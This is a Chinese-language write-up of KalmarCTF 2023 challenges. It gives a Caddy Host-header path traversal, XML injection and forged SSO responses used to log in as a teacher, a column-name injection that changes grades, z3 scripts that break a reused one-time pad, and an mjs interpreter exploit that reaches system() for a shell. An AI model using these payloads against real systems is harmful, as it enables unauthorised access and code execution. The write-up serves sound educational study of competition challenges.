KalmarCTF 2023 WriteUps

TSJ 打了這場比賽,難度很高所以也只解了幾題比較簡單的而已。

Web

Ez ⛳

這題用 Caddy 2.4.5,然後有以下的 Caddyfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{
admin off
local_certs # Let's not spam Let's Encrypt
}

caddy.chal-kalmarc.tf {
redir https://www.caddy.chal-kalmarc.tf
}

#php.caddy.chal-kalmarc.tf {
# php_fastcgi localhost:9000
#}

flag.caddy.chal-kalmarc.tf {
respond 418
}

*.caddy.chal-kalmarc.tf {
encode zstd gzip
log {
output stderr
level DEBUG
}

# block accidental exposure of flags:
respond /flag.txt 403

tls /etc/ssl/certs/caddy.pem /etc/ssl/private/caddy.key {
on_demand
}

file_server {
root /srv/{host}/
}
}

而 server 在啟動的時候會做這些事:

1
mkdir -p backups/ && cp -r *.caddy.chal-kalmarc.tf backups/ && rm php.caddy.chal-kalmarc.tf/flag.txt && sleep 1 && caddy run

所以 flag.txt 已經不在 php.caddy.chal-kalmarc.tf 裡面了,需要想辦法讀到 backups/php.caddy.chal-kalmarc.tf/flag.txt 才行。

可以看到它特別可疑的地方是 root /srv/{host}/,其中 {host} 這個 placeholder 代表的是 HTTP Host header,所以可以在那邊放點東西去做 path traversal。要注意的一點是裡面不能放 .,不然 *.caddy.chal-kalmarc.tf match 不到,所以我是設 Host: backups/php.caddy.chal-kalmarc.tf

接下來它會擋 /flag.txt,不過這部分直接用 //flag.txt 就能繞過了。

1
2
curl -k 'https://www.caddy.chal-kalmarc.tf//flag.txt' -H 'Host: backups/php.caddy.chal-kalmarc.tf'
# kalmar{th1s-w4s-2x0d4ys-wh3n-C4ddy==2.4}

2Cool4School

這題是個 sourceless web,完全的通靈題==。

總之有個 http://grade.chal-kalmarc.tf/ 是個評分的網站,然後登入時會使用 SSO 服務 http://sso.chal-kalmarc.tf/ 來達成,目標是想辦法登入進去然後修改自己的 grade 到 A 就能拿到 flag。

SSO 登入的流程是先在 grade 點 login,然後它會 redirect 到 http://sso.chal-kalmarc.tf/login?service=http://grade.chal-kalmarc.tf/login 要你輸入帳密 (如果已經登入的話就不用),不過因為還沒有帳密所以什麼都不能做。

我是直接 dirsearch 掃 SSO 發現它有 /swagger 存在才找到方法過的,不過後來發現其實 SSO 首頁的 html 註解就有提示了...。總之裡面有個 /register api 可以生成一個新的 student 帳號,用它就能登入了。

登入成功時 SSO 會把你 redirect 到 http://grade.chal-kalmarc.tf/login?ticket=TGT-...,然後 grade 的後端會拿 Ticket 對 SSO 的 /validate?ticket=TGT-...&service=http://grade.chal-kalmarc.tf/login 發請求 (我猜的),然後 response 會長這樣:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<response>
<authenticationSuccess>
<id>SOME UUID</id>
<username>studentXXXX</username>
</authenticationSuccess>
</response>

所以從這邊能拿到 username 和 user id,所以就能成功登入。

登入之後會有畫面要你設 username 和上傳大頭貼,然後成功之後會到 http://grade.chal-kalmarc.tf/grades 顯示你的成績而已,上面還有個 Request Re-evalutation 會 POST /whine,不過回覆永遠都是 Nah, no mistakes were made. Git good.

我一開始都毫無想法,就只有發現上傳大頭貼的時候是先把圖片轉 base64,然後塞到 json 裡面 POST 過去這件事而已,不過後來 Leko 發現 whine 其實會讓 backend 的一個 headless chromium 來瀏覽你的 grades 頁面,這個可以透過設圖片的 src 到自己的 server 來發現。所以如果 src 是 http://sso.chal-kalmarc.tf/login?service=MY_SERVER 的話就能拿到 ticket 了,然後 post /validate 就能拿到 teacher 的 username 和 user id。

接下來是發現說 SSO /validateservice 參數的地方有 xml injection,測一下發現連 XSS 都能達成 (不過用不到):

1
http://sso.chal-kalmarc.tf/validate?ticket=TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514&service=%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E

而 response 會是

1
2
3
4
<?xml version="1.0"?>
<response>
<authenticationFailure>Ticket TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514 is invalid for service <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script></authenticationFailure>
</response>

另外是 Allen 發現說 http://grade.chal-kalmarc.tf/login?ticket=TGT-...ticket 其實也可以 inject 一些東西,因為 backend 似乎是用 string concat 處理這部分的,而 service 又很剛好的在後面,所以可以塞 TGT-...&service=XML_INJECTION_PAYLOAD# 作為 ticket,那麼就能控制 grade 收到的 response,由此可以登入任意帳號。

1
http://grade.chal-kalmarc.tf/login?ticket=TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514%3Cdiv%3Ehello%3C/div%3E%3C/authenticationFailure%3E%3CauthenticationSuccess%3E%3Cid%3Edcfb2fd7-312e-48cf-81c0-ae7eb31ef864%3C/id%3E%3Cusername%3Eteacher31211%3C/username%3E%3C/authenticationSuccess%3E%3CauthenticationFailure%3E

response 大概長這樣:

1
2
3
4
<?xml version="1.0"?>
<response>
<authenticationFailure>Ticket TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514 is invalid for service <div>hello</div></authenticationFailure><authenticationSuccess><id>dcfb2fd7-312e-48cf-81c0-ae7eb31ef864</id><username>teacher31211</username></authenticationSuccess><authenticationFailure></authenticationFailure>
</response>

接下來配合前面 img src 那個就能登入進 teacher 帳號了,稍微 reverse 一下 React SPA 可知 http://grade.chal-kalmarc.tf/grades/$STUDENT_ID 有個管理介面可以編輯東西,不過它只允許你編輯評語而已。就算直接 call api 也會發現它不給你編輯成績。

不過我測一測發現送 {"name":"Fundamentals of Cyber Security","values":{}} 的話它會出現 sql error,所以有類似 sql injection 的地方在,因此用 {"`grade`": "A"} 當作 values 就能成功繞過檢查改成績了!

kalmar{w00000w_n0_m0re_sch00l_d9a821a}

題目 source code: 2Cool4School

Crypto

BabyOneTimePad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3

import os

PASS_LENGTH_BYTES = 128

def encrypt_otp(cleartext, key = os.urandom(PASS_LENGTH_BYTES)):
ciphertext = bytes([key[i % len(key)] ^ x for i,x in enumerate(cleartext.hex().encode())])
return ciphertext, key


if __name__ == '__main__':
print('According to Wikipedia:')
print('"In cryptography, the one-time pad (OTP) is an encryption technique that cannot be cracked, but requires the use of a single-use pre-shared key that is not smaller than the message being sent."')
print('So have fun trying to figure out my password!')
password = os.urandom(PASS_LENGTH_BYTES)

enc, _ = encrypt_otp(password)
print(f'Here is my password encrypted with a one-time pad: {enc.hex()}')
print('Actually, I will give you my password encrypted another time.')
print('This time you are allowed to permute the password first')
permutation = input('Permutation: ')
try:
permutation = [int(x) for x in permutation.strip().split(',')]
assert set(permutation) == set(range(PASS_LENGTH_BYTES))
enc, _ = encrypt_otp(bytes([password[permutation[i]] for i in range(PASS_LENGTH_BYTES)]))
print(f'Here is the permuted password encrypted with another one-time pad: {enc.hex()}')
except:
print('Something went wrong!')
exit(1)
password_guess = input('What is my password: ')
try:
password_guess = bytes.fromhex(password_guess)
except:
print('Something went wrong!')
exit(1)
if password_guess == password:
with open('flag.txt', 'r') as f:
flag = f.read()
print(f'The flag is {flag}')
else:
print('Nope.')

簡單來說它會生成一個 ,然後給你 的值,其中 是個可以自己決定的 permutation。

總之我直接 z3 下去就解了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import process, remote
import random
from z3 import *


def encrypt_otp_z3(pt_hex, key):
ciphertext = [key[i % len(key)] ^ x for i, x in enumerate(pt_hex)]
return ciphertext, key


def solve(ct1, ct2):
sol = Solver()
pt_hex_sym = [BitVec(f"pt_hex_{i}", 8) for i in range(PASS_LENGTH_BYTES * 2)]
for x in pt_hex_sym:
sol.add(Or([x == t for t in b"0123456789abcdef"]))
pt_sym = [(x, y) for x, y in zip(pt_hex_sym[::2], pt_hex_sym[1::2])]
pt2_sym = [pt_sym[perm[i]] for i in range(PASS_LENGTH_BYTES)]
pt2_hex_sym = sum([list(x) for x in pt2_sym], [])
key_sym = [BitVec(f"key_{i}", 8) for i in range(PASS_LENGTH_BYTES)]
enc_sym, _ = encrypt_otp_z3(pt_hex_sym, key_sym)
for x, y in zip(ct1, enc_sym):
sol.add(x == y)
enc2_sym, _ = encrypt_otp_z3(pt2_hex_sym, key_sym)
for x, y in zip(ct2, enc2_sym):
sol.add(x == y)
assert sol.check() == sat
m = sol.model()
pt_hex = [m[x].as_long() for x in pt_hex_sym]
pwd = bytes.fromhex("".join([f"{x:02x}" for x in pt_hex])).decode()
return pwd


PASS_LENGTH_BYTES = 128
perm = list(range(PASS_LENGTH_BYTES))
random.shuffle(perm)

PASS_LENGTH_BYTES = 128
# io = process(["python", "challenge_file.py"])
io = remote("3.120.132.103", 13337)
io.recvuntil(b"pad: ")
ct1 = bytes.fromhex(io.recvlineS().strip()) # xor(pwd.hex(), key)
io.sendlineafter(b"Permutation: ", ",".join(map(str, perm)).encode())
io.recvuntil(b"pad: ")
ct2 = bytes.fromhex(io.recvlineS().strip()) # xor(perm(pwd).hex(), key)
print(ct1.hex())
print(ct2.hex())
pwd = solve(ct1, ct2)
print(pwd)
io.sendlineafter(b"password: ", pwd.encode())
io.interactive()
# kalmar{why_do_default_args_work_like_that_0.0}

EasyOneTimePad

和前一題幾乎一樣,不過這次有兩個 key,所以是 的值,其中 是個可以自己決定的 permutation。

我是隨機生成一個 permutation 並希望它得到的關係式可以得到唯一的解,然後用 z3 就搞定了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import process, remote
import random
from z3 import *


def encrypt_otp_z3(pt_hex, key):
ciphertext = [key[i % len(key)] ^ x for i, x in enumerate(pt_hex)]
return ciphertext, key


def solve(ct1, ct2):
sol = Solver()
pt_hex_sym = [BitVec(f"pt_hex_{i}", 8) for i in range(PASS_LENGTH_BYTES * 2)]
for x in pt_hex_sym:
sol.add(Or([x == t for t in b"0123456789abcdef"]))
pt_sym = [(x, y) for x, y in zip(pt_hex_sym[::2], pt_hex_sym[1::2])]
pt2_sym = [pt_sym[perm[i]] for i in range(PASS_LENGTH_BYTES)]
pt2_hex_sym = sum([list(x) for x in pt2_sym], [])
key_sym = [BitVec(f"key_{i}", 8) for i in range(PASS_LENGTH_BYTES)]
key2_sym = [BitVec(f"key2_{i}", 8) for i in range(PASS_LENGTH_BYTES)]
enc_sym, _ = encrypt_otp_z3(pt_hex_sym, key_sym)
for x, y in zip(ct1, enc_sym):
sol.add(x == y)
enc2_sym, _ = encrypt_otp_z3(pt2_hex_sym, key2_sym)
for x, y in zip(ct2, enc2_sym):
sol.add(x == y)
assert sol.check() == sat
m = sol.model()
pt_hex = [m[x].as_long() for x in pt_hex_sym]
pwd = bytes.fromhex("".join([f"{x:02x}" for x in pt_hex])).decode()
return pwd


PASS_LENGTH_BYTES = 128
perm = list(range(PASS_LENGTH_BYTES))
random.shuffle(perm)

PASS_LENGTH_BYTES = 128
# io = process(["python", "challenge.py"])
io = remote("3.120.132.103", 13338)
io.recvuntil(b"pad: ")
ct1 = bytes.fromhex(io.recvlineS().strip()) # xor(pwd.hex(), key)
io.sendlineafter(b"Permutation: ", ",".join(map(str, perm)).encode())
io.recvuntil(b"pad: ")
ct2 = bytes.fromhex(io.recvlineS().strip()) # xor(perm(pwd).hex(), key)
print(ct1.hex())
print(ct2.hex())
pwd = solve(ct1, ct2)
print(pwd)
io.sendlineafter(b"password: ", pwd.encode())
io.interactive()
# retry until you get the flag
# kalmar{guess_i_should_have_read_the_whole_article}

Reconstruction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import random

rng = random.SystemRandom()

num_parties = 1000
threshold = int(0.1111 * num_parties)
num_compromised = int(0.37 * num_parties)

prime = (2**384).next_prime()
F = GF(prime)

class Party:
def __init__(self, share):
self.share = share
self.compromised = False

def compromise(self):
self.compromised = True

def get_share(self):
if self.compromised:
return self.share
else:
return F(rng.randrange(F.order()))

def share(secret):
R.<x> = F['x']

poly = secret * x**threshold
for i in range(threshold):
poly += x**i * F(rng.randrange(F.order()))

return [Party(poly(F(j))) for j in range(num_parties)]

def main():
with open('flag.txt', 'r') as f:
flag = f.read().strip()
assert(len(flag) < prime.nbits()*8)

# Share the secret.
secret = F(int.from_bytes(flag.encode(), 'little'))
parties = share(secret)

# Oops, the adversary has compromised some of the parties!
for i in rng.sample(range(num_parties), num_compromised):
parties[i].compromise()

# The adversary is requesting the shares! All is lost!
for s in parties:
print(s.get_share())

if __name__ == "__main__":
main()

這題有個 SSS,degree 是 111 所以要 112 個 share 才能恢復,再來它會給你 1000 個 share 但其中只有 370 個值是對的。

這讓我想到了 Polynomial Reconstruction 這個問題,查了一下發現說它其實就是 Reed-Solomon Code 在做的事,所以這個問題其實是個 的 RS 解碼問題,所以可以嘗試用一些 sage 內建相關的演算法來做。這部分可以這樣列出來:

1
2
3
4
5
6
[x for x in dir(codes.decoders) if x.startswith('GRS')]
# ['GRSBerlekampWelchDecoder',
# 'GRSErrorErasureDecoder',
# 'GRSGaoDecoder',
# 'GRSGuruswamiSudanDecoder',
# 'GRSKeyEquationSyndromeDecoder']

不過測試一下發現 GRSBerlekampWelchDecoderGRSGaoDecoder 只能在正常情況下做 decoding,也就是 才能成,但是這題顯然不符合所以不能用。另外的 GRSErrorErasureDecoderGRSKeyEquationSyndromeDecoder 好像都用不了,所以最後用 GRSGuruswamiSudanDecoder 看看發現說它需要一個 tau 參數,代表 error 的數量,所以設為 之後給它硬跑大概 10 分鐘之後就成功了...。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import long_to_bytes

num_parties = 1000
threshold = int(0.1111 * num_parties)
num_compromised = int(0.37 * num_parties)

prime = (2**384).next_prime()
F = GF(prime)

with open("output.txt") as f:
vals = [int(l.strip()) for l in f]


n, k = 1000, 112
C = codes.GeneralizedReedSolomonCode([F(i) for i in range(n)], k)
D = codes.decoders.GRSGuruswamiSudanDecoder(C, num_parties - num_compromised)
print("Start decode to code")
c = D.decode_to_code(vector(F, vals))
print("Start decode to message")
msg = C.decode_to_message(c[0])
print("Done", msg[-1])
# 4489067692978501633227145646993390603391687375740992390950503291222699941250770320347716168654384649757035

print(long_to_bytes(int(msg[-1]))[::-1])
# kalmar{1_Sh0ulD-H4Ve-53T-A_hIgh3R-tHresHolD}

這題題目作者似乎沒注意到 sage 裡面有內建 guswami-sudan list decoding 演算法,所以預期解是要自己實作出來==。

Pwn

mjs

這題基本上就是 pwn https://github.com/cesanta/mjs,不過因為它裡面有預設一些比較危險的 api 如 ffi, ffi_cb_free, mkstr, s20 所以題目作者上了個從 global 移除那些函數的 patch。

這題我是直接找 github issues 之後發現這個,裡面的關鍵是:

1
2
--print;
print(1);

就有機會 crash。

我上 gdb 來測一下之後會發現 SIGSEGV 的 address 和你對 print 所操作的值有關,所以可以算 offset (&mjs_ffi_call-&mjs_print) 然後讓改 print 的值就能呼叫到 ffi,然後拿 shell 結束。

1
2
3
print+=0x6ab0;print("void system(char*)")("id")
// 0x6ab0=&mjs_ffi_call-&mjs_print
// kalmar{mjs_brok3ey_565591da7d942fef817c}

這之所以可行似乎是因為它內建函數也都是 pointer,而它為了方便和 C 操作所以也能有些 pointer arithmetic,而同時又沒有這方面的檢查,所以可以直接改內建函數的 function pointer 做很多事 XD。